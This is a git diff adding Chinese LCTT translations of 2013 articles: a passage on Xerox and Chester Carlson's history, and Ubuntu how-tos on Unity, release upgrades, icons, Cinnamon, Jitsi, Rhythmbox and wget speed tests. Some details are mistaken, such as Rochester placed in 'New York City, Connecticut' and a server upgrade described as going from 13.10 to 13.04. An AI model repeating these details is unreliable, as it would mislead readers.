+施乐(Xerox)称得上是最有名的打印机公司,在打印机市场持很大的占有率。就像人们谈搜索时会说“上网google一下”,谈到打印时会说“我需要xerox(复印)这份文档”,施乐公司已经渗入人们的日常生活中了。在科技领域,20世纪70年代,施乐由于在帕罗奥多研究中心(PARC)发明的用户图形界面和鼠标而声名远扬,乔帮主当年参观PARC后将很多点子用到了他的苹果机上(其中一个就是PARC研发的图形用户界面——译者注)。另外,激光打印机也借鉴了卡尔逊的发明。 + +刚开始,施乐并不叫施乐。位于纽约市康涅狄格州罗切斯特市的哈洛伊德(Haloid)公司看中静电打印技术,收购了卡尔逊的这项发明,之后才更名为“施乐”(在这中间,哈洛伊德还曾更名为“哈洛伊德施乐”——译者注)。 + +我们继续卡尔逊的故事,这位发明家和专利代理人对手工复印法律文件感到无比厌烦,他认为世上肯定有一种复印方法能让他摆脱油墨复写纸,或者那种传统使用湿的感光纸和水的又乱又慢还昂贵的照相法。 施乐公司的历史档案管理员Ray Brewer说卡尔逊的这个涉及锌片锌粉(估计是作为感光材料——译者注)的发明即简单又容易复制。 + +(Weilerstein解释说,静电复印的处理过程就是这么个回事:一张纸放在光源底下,光源会扫描整张纸,记下复印原件的信息。光线通过一组透镜照到涂有光敏材料的静电成像硒鼓上,硒鼓被曝光部分会改变其静电荷,复印原件的信息被复制到硒鼓上。之后硒像旋转,静电荷所在的地方会吸引墨粉微粒,从而在硒鼓上画出原件图像。然后硒鼓将墨粉转移到一张纸上,并加压加热,就像熨斗一样。最后,硒鼓旋转,多余的墨粉被刮下来,下一页依此循环。) + +或许这个过程太简单了点。当卡尔逊在庆祝他们的突破时,柯乃伊并没有看到这一点。当柯乃伊与卡尔逊的合同到期后,他们就失去了联系。“柯乃伊没看到卡尔逊发明的意义”,Brewer说道。柯乃伊将会终身后悔。**后来卡尔逊给了柯乃伊100股施乐的股票,而柯乃伊马上就把它们卖了,为此他少嫌了至少100万美元。** + +多年来,卡尔逊向多家公司推销他的专利,包括IBM和柯达,但是没人理他。Brewer认为,这是因为卡尔逊只是一个研发人员,而不是一个销售人员:“卡尔逊推销他的专利的方式非常枯燥和专业,这种方式对于将他的专利推销到市场没有任何帮助,即使是技术工程师也被卡尔逊的表达搞得迷迷糊糊”。 + +卡尔逊的大突破发生在1946年,哈洛伊德公司研发主管John Dessauer读到了关于卡尔逊发明的文章。哈洛伊德本来是做照相纸的,“当时的照相领域发展非常迅速”,Brewer说。1948年,哈洛伊德为卡尔逊的发明找了一个比较容易记住的名字:静电复印技术(electrophotography)。公司打印部门定名为施乐(xerography),取希腊词根“xeros(干)”和“graphos(写)”组成的新词。 + +在20世纪50到60年代之间,施乐打印机成为办公必备用品。这项改革节省了时间和金钱。以前,复印文档的唯一方法就是使用影印机,那是相当杂乱和昂贵的操作,更糟糕的是,那种油墨纸一次最多只能复制两份。假如你想复印更多份,你必须重新打印一份出来,“并且秘书和领导希望所有的复印件都一模一样,”Brewer又出来讲话了。这就是施乐复印术的又一个好处:多份一模一样的复印件。在email和即时通信出来之前,这种复印术为部门间交流提供机会。施乐复印术催生了备忘录、办公简讯以及生日贺卡等新鲜玩意儿。 + +914型复印机是施乐公司最成功的产品。在60年代到70年代初,施乐共卖掉了超过20万台这个型号的复印机,《财富》杂志将它[评为][1]“美国史上最成功的产品”。Weilerstein称施乐为“你后悔没买它的股票”的公司。 + +这是一部大概在1960年播出的广告:http://www.youtube.com/embed/kNGdqC7QJYI + +##现代计算机时代 + +直到80年代PC机开始代替打字机,施乐复印机的疯狂时代才告终结。人们依靠卡尔逊的发明创造了激光打印机,从此淘汰了功能单一的复印机。这个时候,已经没有人会把施乐的机器简单地称为复印机了,它们早已变成多功能打印机。 + +而这还不是施乐公司生意上所面临的唯一挑战。70年代曰本公司提供了与施乐复印机同性能但更便宜的产品。Weilerstein说:施乐失去了复印机领域的垄断地位,但凭借其在激光打印机产业的发展,施乐依然站在科技的前沿。到90年代,施乐开发Docutech系统,这种技术让你从打印机年代直接进入到印刷机年代。之后施乐又研发了iGen2000,这是种能彩印的激光打印机,能在1分钟内打印100页复印件。“然而在2000年之后的一段时间内,施乐公司再没有突出的作为,”Weilerstein说道,“并且他们还遭遇经济危机。” + +施乐没有像它在罗彻斯特的邻居——伊士曼.柯达一样遭遇打击。其时的柯达[处于相当阴暗的时期][2]。 + +部分原因是,与胶卷不同,文档打印依然是一个高利润的生意。还是有些部门,包括联邦政府,这些部门的员工每个月需要打印上千份文档。Weilerstein 承认随着时代发展,打印业务将继续下降:“打印业务也许是老一代的产品”,但是他又说,“但它还不会轻易消失。” + +鉴于市场对多功能打印机的持续需求,慢慢强大起来的施乐终于有机会将自己转型成数字文档和服务的供应商。在过去的十年里,这家公司为打印管理服务(MPS)生意做了大量基础性工作。企业的所有有关打印的业务都可以外包给MPS来完成,减少了IT部门监控的任务。 + +然而随着纸打印业务长期的持续下滑,施乐试着预测市场的走向。“现在的问题是他们接下来会怎么做,”Weilerstein说,“他们会取消管理你的打印机的念头,转而为你提供另外一种服务:按你的意愿帮你处理数字形式的文档。” + +“我认为IT部门实行无纸办公是一个非常大的需求”,来自IDC(国际数据公司)的Boyd说,“很多公司,包括施乐,都在积极为他们提供解决方案。” + +Weilerstein的观点是当所有的交流都是依赖文档时,施乐有机会成为“内容管理服务(MCS)”生意的领导者。这种服务能让企业减少使用打印机。Weilerstein在白皮书上写到:“虽然纸质文档依旧是交流的有效载体,但是当员工将不同来源的信息打印成纸质文档,并想将它们用于不同目的时,太多的文档反而无法形成有效的交流。” + +在广播信息都是靠传真接收的时代,MCS应该接受广告订单;或者提供一种方式,将化工厂员工随手记下的笔记传到可供查阅的数码产品中。 + +![img](http://rack.3.mshcdn.com/media/ZgkyMDEzLzEwLzExLzUwL0NoZXN0ZXJDYXJsLjAyZTI2LmpwZwpwCXRodW1iCTEyMDB4OTYwMD4/a1da164c/352/Chester-Carlson.jpg) + +##卡尔逊的遗产 + +在推动无纸办公的过程中,施乐不应该只是将它的生意转型,还应该帮助企业内减少不必要的浪费。然而,施乐还面临大量的竞争对手,最大的对手就是Adobe公司,PDF文档格式的发明者。 + +Adobe过去是做桌面打印(即通过电脑等电子手段进行文档编辑——译者注)而非纸质打印的,似乎比施乐有天然的优势。然后是苹果公司,自己赖以生存的老技术被新技术取代后,能迅速变成新技术的领导者,这在历史上是很罕见的。 + +即使施乐最终失败了,卡尔逊在科技史上的贡献也是毋庸置疑的。卡尔逊的其他发明:带有流水沟的雨衣、洗鞋器等,但是他最重要的发明是一个证据,证明市场是如何回报人的坚持和开阔的视野。他的去世向我们阐明了我们对公众人物的内在生活了解是如此的少。 + +1968年,卡尔逊和柯乃伊在阿斯托里亚的公寓内辛辛苦苦地发明静电复印技术的30年之后,卡尔逊从罗彻斯特家里回到纽约,去参加一个商业会议。他发现离开会还有一些时间,于是他走进一家电影院观看《骑虎人(He Who Rides a Tiger)》,主演是Tom Bell和Judi Dench。当电影结束时,一个服务员看见了卡尔逊,看起来似乎正在位子上睡觉,事实并非如此。卡尔逊因心脏病去世——那是他那年第二次心脏病发作。 + +他死后,人们估计他拥有大约1.5亿美元的遗产,这笔钱使他成为1968年全美最有钱的富翁之一。然而他们发现错了,卡尔逊已将他的绝大部分财产都捐了出去。他曾对妻子说他对那种成为商业巨头的野心表示很不理解,他只想作为一个穷人死去。 + +图片来源:施乐公司 + +--- + +via: http://mashable.com/2013/10/13/xerox-history-of-copying/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[chenjintao](https://github.com/chenjintao) 校对:[jasminepeng](https://github.com/jasminepeng) + + +[1]:http://money.cnn.com/2010/01/21/technology/xerox_copiers.fortune/index.htm + +[2]:http://www.usatoday.com/story/money/business/2013/09/03/kodak-bankruptcy-ends/2759965/ + diff --git a/published/201310/How To Hide Ubuntu 13.04 Unity Launcher In 5 Easy Steps.md b/published/201310/How To Hide Ubuntu 13.04 Unity Launcher In 5 Easy Steps.md new file mode 100644 index 0000000000..e1a16aa9fd --- /dev/null +++ b/published/201310/How To Hide Ubuntu 13.04 Unity Launcher In 5 Easy Steps.md @@ -0,0 +1,81 @@ +简单5步隐藏Ubuntu13.04 Unity 启动器 +============================= + + +最近这几天,我在研究和学习[conky][1]。当做它的截屏时,我被unity启动器频繁遮挡住屏幕截图难住了。突然间我问自己,有没有一种办法可以默认隐藏unity启动器(只在需要的时候才出现)?我google了一圈,发现通过系统设置选项可以很容易做到。因此,今天我不会讨论一个特定的应用而是来讨论一个有用的方法,一定会对其他Ubuntu用户很有帮助。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/unity-launcher-main.png) + +*我的Ubuntu桌面上的Unity启动器截图* + + +**提示** - 文章中所有的操作都在Ubuntu 13.04测试通过 + +## Ubuntu 13.04隐藏Unity启动器步骤 ## + +步骤: + + +**第1步** + +在主菜单点击 **System Settings(系统设定)** 选项。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/unity-launcher-1.png) + + +**第2步** + +在系统设定中,点击 **Appearance(外观)** 选项。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/unity-launcher-2.png) + +**第3步** + +现在,进入标题为'Behavior(行为)'的标签中。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/unity-launcher-3.png) + +**第4步** + +打开右上方的单选按钮。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/unity-launcher-5.png) + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/unity-launcher-4.png) + + +**第5步** + +在完成上一步后,unity启动器已经默认隐藏。它只有在鼠标接触到屏幕最左边时才会出现。调整启动器的灵敏度。根据你的需求调整滑动条(如下图所示): + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/unity-launcher-5-1.png) + +这是当我完成所有步骤(上面所列)后的桌面截图. + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/unity-launcher-7.png) + +*我的Ubuntu桌面上的Unity启动器截图* + + + +**重点** + +我也想把unity启动器放在桌面底部(就像Apple的Mac那样),但是从Ubuntu 12.04开始就无法改变启动器的位置。像许多其他用户一样,我也有点失望。不管怎么说,如果你想了解更多,你可以读[Ubuntu论坛上的详细讨论][2]. + +如果你知道任何在Ubuntu 13.04上改变unity启动器位置的非官方途径(一个应用或者插件),请分享给我们。 + +--- + +via: http://mylinuxbook.com/hide-unity-launcher-ubuntu-13-04/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf]:http://linux.cn/space/flsf01 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://conky.sourceforge.net/ +[2]:http://ubuntuforums.org/showthread.php?t=2147537 diff --git a/published/201310/How To Upgrade From Ubuntu 13.04 Raring To Ubuntu 13.10 Saucy Salamander.md b/published/201310/How To Upgrade From Ubuntu 13.04 Raring To Ubuntu 13.10 Saucy Salamander.md new file mode 100644 index 0000000000..bf053ef775 --- /dev/null +++ b/published/201310/How To Upgrade From Ubuntu 13.04 Raring To Ubuntu 13.10 Saucy Salamander.md @@ -0,0 +1,101 @@ +如何从Ubuntu13.04 升级到Ubuntu13.10 Saucy Salamander +================================================== + +**Ubuntu 13.10 Saucy**已于**10月17日**发布。希望它比Ubuntu 13.04 Raring版本或以前的版本有很大的改进及增加更多功能。大家都好奇地等着,想看看Ubuntu13.10将给Ubuntu爱好者带来些什么。 + +如果你的系统是Ubuntu的13.04、12.10、12.04 Precise Pangolin或者更早的版本的话,你愿意升级到这最新的发行版本吗?我知道你愿意。只需要按照下面所示的简单几步,不管你用的是桌面版本还是服务器版本,都能轻松地从Ubuntu13.04版本升级到Ubuntu 13.10 Saucy版本。 + +**注意**:在升级前,确保对你的 **数据做一次全备份**,备份存储到外部设备(USB记忆棒或CD/ DVD)。 + +###桌面版升级 + +在升级前,我们首先得更新系统,按下快捷键打开终端输入如下命令。 + + sudo apt-get update && sudo apt-get dist-upgrade + +然后就可以升级到最新的发行版本了。 + + sudo update-manager -d + +Software Updater将会打开并且搜索新的发布版本。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Software-Updater_001.png) + +几秒钟以后,你会看到如下所示,标有“**However, Ubuntu 13.10 is available now (you have 13.04)**”字样的窗口。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Software-Updater_002.png) + +然后点击**Upgrade**按钮。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Release-Notes_003.png) + +Software Updater会让你确认是否仍要升级。点击**Start Upgrade**就真正开始安装Ubuntu 13.10了。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Untitled-window_005.png) + +现在Software Updater就会获取文件包并进行安装。这将需要一段时间,具体时间长短取决于你的网络连接速度。坐下来放松片刻吧。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Distribution-Upgrade_006.png) + +过一会儿,你将被询问是否删除不必要的应用程序。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Untitled-window_008.png) + +最后,点击重启完成升级。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Untitled-window_009.png) + +现在你的系统就是最新的Ubuntu 13.10发布版本了。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Details_010.png) + +###服务器版升级 + +要从Ubuntu 13.10服务器版升级到Ubuntu 13.04服务器版本,请按下面步骤操作。 + +如果还没有安装 **update-manager-core** 软件包,请先安装它: + + sudo apt-get install update-manager-core + +打开 **/etc/update-manager/release-upgrades** 文件, + + sudo nano /etc/update-manager/release-upgrades + +按如下所示进行编辑,设置 **Prompt=normal**。 + + # Default behavior for the release upgrader. + + [DEFAULT] + # Default prompting behavior, valid options: + # + # never - Never check for a new release. + # normal - Check to see if a new release is available. If more than one new + # release is found, the release upgrader will attempt to upgrade to + # the release that immediately succeeds the currently-running + # release. + # lts- Check to see if a new LTS release is available. The upgrader + # will attempt to upgrade to the first LTS release available after + # the currently-running one. Note that this option should not be + # used if the currently-running release is not itself an LTS + # release, since in that case the upgrader won't be able to + # determine if a newer release is available. + Prompt=normal + +现在就可以把系统升级到最新服务器版本了,使用下面的命令: + + sudo do-release-upgrade -d + +按照屏幕上的指示一步一步操作。大功告成!! + +已经成功的升级到Ubuntu 13.10了,现在该做些什么呢?看看我们的新文章“[安装Ubuntu13.10后最应该做的几件事][1]”。现在你的系统已经很完善了。庆祝吧!! + + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/upgrade-ubuntu-13-04-raring-ubuntu-13-10-saucy-salamander/ + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unixmen.com/top-things-installing-ubuntu-13-10/ diff --git a/published/201310/How to Install the iOS 7 Icons in Ubuntu 13.04 and Ubuntu 13.10.md b/published/201310/How to Install the iOS 7 Icons in Ubuntu 13.04 and Ubuntu 13.10.md new file mode 100644 index 0000000000..98126a6368 --- /dev/null +++ b/published/201310/How to Install the iOS 7 Icons in Ubuntu 13.04 and Ubuntu 13.10.md @@ -0,0 +1,59 @@ +如何在Ubuntu 13.04和13.10上安装iOS 7的图标 +================================== + +**这个简单的教程将指导你如何在你的Ubuntu 12.04、13.04和13.10上安装苹果iOS 7操作系统的所有图标。** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Install-the-iOS-7-Icons-in-Ubuntu-13-04-and-Ubuntu-13-10-387709-2.jpg) + +上面是效果图,安装的图标虽然并不多,但是对于外观的改进来讲却是重大提高。如果Canonical没有在每一个发行版中使用差异甚小的同类图标,那你就不太容易分辨出Ubuntu。 + +以前在Ubuntu安装主题、图标甚至是鼠标光标,那叫一个麻烦,但是近几年这事变得容易多了。想要安装新的图标,只需要输入几条命令就行。 + +在开始之前,请注意一下。本文使用的PPA(Personal Package Archives)只能在Ubuntu 12.04上运行。这是因为,在复制iOS的图标时候是在Ubuntu 12.04版本上建立的。 + +当然,正如开始提到的,这些图标可以在Ubuntu 13.04 和 Ubuntu 13.10上使用,只是需要改变一点小小的操作。 + +除此之外,你需要一个小软件使这些图标生效。我们推荐使用GNOME Tweak Tool,但是如果你喜欢的话还有几个其他软件可供选择。 + +下面教程开始: + +打开终端,安装GNOME Tweak Tool: + + sudo apt-get install gnome-tweak-tool + +你会发现这个软件在Ubuntu下叫做Tweak Tool。 + +安装PPA,然后更新一下: + + sudo add-apt-repository ppa:elementary-br/projects + sudo apt-get update + +Ubuntu 12.04安装iOS图标: + + sudo apt-get install ieos7-icons + +Ubuntu 13.04、Ubuntu 13.10安iOS装图标: + + wget -c https://launchpad.net/~elementary-br/+archive/projects/+files/ieos7-icons_0.1-0~13~ubuntu12.04.1_all.deb + sudo dpkg -i ieos7-icons_0.1-0~13~ubuntu12.04.1_all.deb + +如果你发现deb包安装失败,无论什么原因,只需要运行: + + sudo apt-get install -f + +修复完依赖关系,再次运行: + + sudo dpkg -i ieos7-icons_0.1-0~13~ubuntu12.04.1_all.deb + + +这个图标集大概有300个,所以你的操作系统中的部分应用程序图标还是老样子。 + +享受你的新图标吧! + +--- + +via: http://news.softpedia.com/news/How-to-Install-the-iOS-7-Icons-in-Ubuntu-13-04-and-Ubuntu-13-10-387709.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Vic___](https://github.com/vic020) 校对:[carolinewuyan](https://github.com/carolinewuyan) diff --git a/published/201310/How to Test Your Internet Speed with a Terminal Command.md b/published/201310/How to Test Your Internet Speed with a Terminal Command.md new file mode 100644 index 0000000000..489a959cf3 --- /dev/null +++ b/published/201310/How to Test Your Internet Speed with a Terminal Command.md @@ -0,0 +1,31 @@ +如何使用命令行测试你的网速 +====================== + +![](http://img.gawkerassets.com/img/190w8luc8u8jjjpg/original.jpg) + +你可能知道,可以在你的浏览器里进行互联网[速度测试][1]。不过这篇Make Tech Easier教程给我们展示了如何在终端窗口中做同样的事情,非常适合你的树莓派或家用服务器上做。 + +打开一个终端,只需要运行下面命令: + + wget -O /dev/null http://speedtest.wdc01.softlayer.com/downloads/test10.zip + +这个测试是使用[wget][2]命令从远程仓库服务器下载一个10MB文件(译者注:其实你可以下载任何一个其它的较大文件)。当文件下载完成,下载速度就会显示在终端,你就可以知道你正在连接的网络速度有多快了(译者注:其实这也与你所下载的文件所在的带宽有关,并非全面的测试)。 + +任何运行linux的PC(译者注:一般,我们所说的PC是指'IBM PC兼容机',此架构中的中央处理器采用英特尔或超微等厂商所生产的中央处理器)能够运行wget命令。[Windows][3]和[Mac][4]用户需要下载这个程序,但是功能差不多是一样的。点击下述链接可以了解更多。 + +[怎样从终端测试你的网速][5] | Make Tech Easier + +-------------------------------------------------------------------------------- + +via: http://lifehacker.com/how-to-test-your-internet-speed-with-a-terminal-command-1364123567 + +译者:[flsf](https://github.com/flsf) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:http://www.speedtest.net/ +[2]:http://lifehacker.com/161202/geek-to-live--mastering-wget +[3]:http://gnuwin32.sourceforge.net/packages/wget.htm +[4]:https://www.macupdate.com/app/mac/33951/wget +[5]:http://www.maketecheasier.com/quick-tips/test-internet-connection-speed-from-terminal diff --git a/published/201310/Install Cinnamon 1.8 in Ubuntu 13.04.md b/published/201310/Install Cinnamon 1.8 in Ubuntu 13.04.md new file mode 100644 index 0000000000..d46ba69592 --- /dev/null +++ b/published/201310/Install Cinnamon 1.8 in Ubuntu 13.04.md @@ -0,0 +1,51 @@ +在Ubuntu中安装Cinnamon 1.8 +======================= + +在[之前的一些文章][1]中我们已经讨论过[Cinnamon][2]和[Nemo文件管理器][3]是什么,但是如果你仍然不了解,请读下文: + +Cinnamon是由[Linux Mint][4]团队最初为Linux Mint开发的一款桌面环境。它提供给用户一个更舒适和现代化的体验。 + +如果你和我一样很喜欢Unity(Ubuntu默认桌面)。我建议你尝试一下Cinnamon。安装Cinnamon不意味着你淘汰Unity,绝不是。 + +最新版本的Cinnamon 1.8在Ubuntu仓库尚未公布,因此我们要感谢PPA。 + +Cinnamon1.8包含了这些新功能,包括 Screensaver(屏幕保护程序),Cinnamon Control Center(Cinnamon控制中心)[等等][5]. + +###安装Cinnamon + +打开终端输入以下命令: + + $ sudo add-apt-repository ppa:gwendal-lebihan-dev/cinnamon-stable + $ sudo apt-get update + $ sudo apt-get install cinnamon nemo + +安装Cinnamon和Nemo文件管理器成功后,注销或重启你的系统。 + +点击你 **用户名右上角** 的 **Ubuntu** 图标。你应该能看到 **Cinnamon** 和其他桌面环境。 + +选择 **Cinnamon** 并登录。 + +你就有了这样一个桌面。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/cinnamon_1_8_unixmen.png ) + +_查看已打开菜单的Cinnamon 1.8桌面_ + +------- + +via: http://www.unixmen.com/install-cinnamon-1-8-ubuntu-13-04/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[Caroline]:http://linux.cn/space/14763 + +[1]:http://www.unixmen.com/cinnamon-and-nemo-file-manager-in-ubuntu-13-0413-10/ +[2]:http://cinnamon.linuxmint.com/ +[3]:http://en.wikipedia.org/wiki/Nemo_(file_manager) +[4]:http://linuxmint.com/ +[5]:http://cinnamon.linuxmint.com/?p=261 diff --git a/published/201310/Install Jitsi Instant Messenger in Ubuntu.md b/published/201310/Install Jitsi Instant Messenger in Ubuntu.md new file mode 100644 index 0000000000..4a02554152 --- /dev/null +++ b/published/201310/Install Jitsi Instant Messenger in Ubuntu.md @@ -0,0 +1,130 @@ +在Ubuntu下安装Jitsi Instant Messenger(Jisti即时信使) +========================================= + +[Jitsi][1] 是Java编写的开源的、多平台的音频/视频网络电话和即时通信软件。它支持一些最流行的即时通信和电信协议,比如:SIP,Jabber/XMPP(这样就支持了Facebook和Google Talk),AIM,ICQ,MSN,Yahoo! Messenger。 + +Jitsi也被认为是Skype的一个很好的替代者。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/About-Jitsi.png) + +###安装Jitsi + +按下键盘上的Ctrl+Alt+T组合键打开终端。在打开的终端中输入如下命令下载Jitsi: + +**32位系统:** + + $ wget https://download.jitsi.org/jitsi/debian/jitsi_2.2-latest_i386.deb + +**64位系统:** + + $ wget https://download.jitsi.org/jitsi/debian/jitsi_2.2-latest_amd64.deb + +对于32位和64位系统都运行如下命令: + + $ sudo dpkg -i jitsi_2.2-latest_*.deb + +以上命令将在你的系统中安装Jitsi 2.2,并且在你的系统中添加Jitsi的源库,以便以后能够更加容易的升级。 + + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/jitsi_main.png) + +###Jitsi的部分功能: + +**支持的协议/网络** + +- SIP XMPP (Jabber) +- GoogleTalk (使用XMPP) Facebook (使用XMPP) +- .NET Messenger Service (通常叫做MSN或者是Windows Live Messenger),Yahoo! Messenger,AIM ICQ + +**通话** + + + + + + + + + + + + + + + + + + + + +
支持的协议SIPXMPPMSN
音频通话支持支持由于项目终止而没有计划
视频通话支持支持
桌面流支持支持
桌面共享支持支持
音频电话会议支持支持
音频级别显示支持支持
通话录音支持支持
指定转接支持支持
电话盲转支持支持
通过SDES/SRTP和ZRTP实现通话加密支持支持
通话静音支持支持
通话保持支持支持
支持ICE正在进行支持
支持TURN正在进行支持
使用SILK,G.722和Speex的宽带音频支持支持
噪声抑制支持支持
回声消除支持支持
+ + +**即时通信** + + + + + + + + + + + + + +
支持的协议XMPPMSNYahoo!ICQ/AIMSIP
存在支持支持支持支持支持
一对一聊天支持支持支持支持支持
多用户聊天支持支持支持支持不支持
文件传输支持支持支持支持不支持
OTR加密支持支持支持支持不支持
+ +更多特性 [点击这里][2] + +###使用Jitsi + +Jitsi能够通过在终端中执行如下命令来运行 + + $ jitsi + +或者从dash中运行 + +**Dash > Jitsi** + +添加账户 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/addnew.png) + +点击 **select network(选择网络)**. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Add-new-account_0051.png) + +在这个教程中,使用Gtalk帐号进行登录 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/select_account.png) + +按要求输入你的**username(用户名)** 和 **password(密码)**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/login.png) + +然后你就在线了。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Jitsi_online.png) + +聊天窗口。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/chat.png) + +对于其他Linux发行版,请访问Jitsi[下载页面][3] + +如有问题,请访问我们的 Q/A 论坛 : http://ask.unixmen.com/ - 更多信息请参见: http://www.unixmen.com/install-jitsi-instant-messenger-ubuntu/#sthash.TuH8ZN0b.dpuf + +-------------------------------------------------------------------------------- + +来自: http://www.unixmen.com/install-jitsi-instant-messenger-ubuntu/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[SCUSJS](http://blog.csdn.net/scusjs) 校对:[jasminepeng](https://github.com/jasminepeng) + + +[1]:https://jitsi.org/Main/HomePage +[2]:https://jitsi.org/Main/Features +[3]:https://jitsi.org/Main/Download diff --git a/published/201310/Install Rhythmbox 3.0 In Ubuntu 13.10 Or 13.04.md b/published/201310/Install Rhythmbox 3.0 In Ubuntu 13.10 Or 13.04.md new file mode 100644 index 0000000000..0938da4367 --- /dev/null +++ b/published/201310/Install Rhythmbox 3.0 In Ubuntu 13.10 Or 13.04.md @@ -0,0 +1,50 @@ +在Ubuntu 13.10或者13.04上安装Rhythmbox 3.0 +================================================================================ +Rhythmbox 3.0已经发布了超过一个月了,这个版本改进了用户界面,使用Python 3来支持插件。很可惜,新版本并没有集成到13.10里面,但是你可以使用PPA来安装它(Ubuntu 13.04也支持)。 + +![](http://dl.dropboxusercontent.com/u/1113424/img/rhythmbox-3.0.png) + +Rhythmox 3.0的新功能: + +- 插件现在使用Python 3; +- 新的任务进度显示在曲目列表的下方(可以供很多东西使用包括包括轨道更换和导入作业等); +- 支持作曲家标签; +- 重新制作了播放控制栏; +- 使用象征性的图片重新设计了源列表; +- 所有东西都更好的优化过; +- 通过不同的公开属性将CBR和VBR编码方式区分开; +- 播放列表设置内容(浏览方式等)保存到playlists.xml文件; +- 在适当情况下更好的使用了RTL图标; +- 修复了IM状态和ReplayGain插件; +- 修复了其他很多漏洞。 + +能在[这里][1]找到完整的Rhythmbox 3.0更新日志。 + +### 在Ubuntu 13.10或者13.04下安装Rhythmbox 3.0 + +![](http://dl.dropboxusercontent.com/u/1113424/img/rhythmbox-3.0_2.png) + +*Ubuntu 13.10 (Unity)下的Rhythmbox 3.0* + +因为Rhythmbox 3.0的插件使用Python 3而不是Python 2, **[第三方插件 PPA][2]里面的插件都不能在Rhythmbox里面使用了** 。你可以通过手动安装的方式来使用它们中的一些(包括Equalizer插件和超酷的**[CoverArt browser][3]**) + + - 更多信息请看**[这篇][4]**文章。 + +Rhythmbox 3.0现在可以在一个非官方PPA里面找到,它是由Jacob Zimmermann维护,为Ubuntu 13.10和13.04(及衍生系统)准备。**通过以下命令添加这个PPA然后安装/升级Rhythmbox 3.0**: + + sudo add-apt-repository ppa:jacob/media + sudo apt-get update + sudo apt-get install rhythmbox + +-------------------------------------------------------------------------------- + +来自: http://www.webupd8.org/2013/10/install-rhythmbox-30-in-ubuntu-1310-or.html + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[SCUSJS](https://github.com/scusjs) 校对:[Caroline](https://github.com/carolinewuyan) + +[1]:http://ftp.acc.umu.se/pub/GNOME/sources/rhythmbox/3.0/rhythmbox-3.0.news +[2]:http://www.webupd8.org/2012/08/rhythmbox-third-party-plugins-ubuntu-ppa.html +[3]:http://www.webupd8.org/2013/08/rhythmbox-coverart-browser-plugin-gets.html +[4]:http://xpressubuntu.wordpress.com/2013/10/06/how-to-install-rhythmbox-3-0-in-saucy/ diff --git a/published/201310/Installing XScreenSaver In Ubuntu.md b/published/201310/Installing XScreenSaver In Ubuntu.md new file mode 100644 index 0000000000..4e5b7440db --- /dev/null +++ b/published/201310/Installing XScreenSaver In Ubuntu.md @@ -0,0 +1,50 @@ +在Ubuntu中安装XScreenSaver +======================= + +这个教程将会给你展示如何在Ubuntu 12.04(也包含其他Ubuntu版本)中加入屏幕保护,它们原本不包含X-windows屏幕保护程序。不过,一些对计算机或linux不熟悉的人,并不了解屏幕保护。到底屏幕保护能做什么呢? + +屏幕保护是一个主要用于安全用途的计算机程序(译注:和最初屏幕保护的用途不同了)。当计算机空闲时,这个程序会清空屏幕或者在屏幕上填满移动的图片或图样。屏幕保护也可以用于娱乐或显示系统信息。当你打算离开办公室又不想让任何人看你电脑上的信息时,屏保程序将是绝佳的解决方案。 + + +###屏幕保护怎么让我的电脑变得更安全? + +屏幕保护能配置成在允许用户继续工作之前要求用户输入密码。但是请留意,如果设置为在启动机器后自动登入帐号,那么攻击者可以轻易的重启机器来登入你的帐号。 + +###怎么安装屏幕保护? + +打开一个新的终端(ctrl+alt+T),如图一所示。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/screen1.png) +图一 + +在安装一个新的屏幕保护之前我们必须卸载默认屏幕保护,运行 'sudo 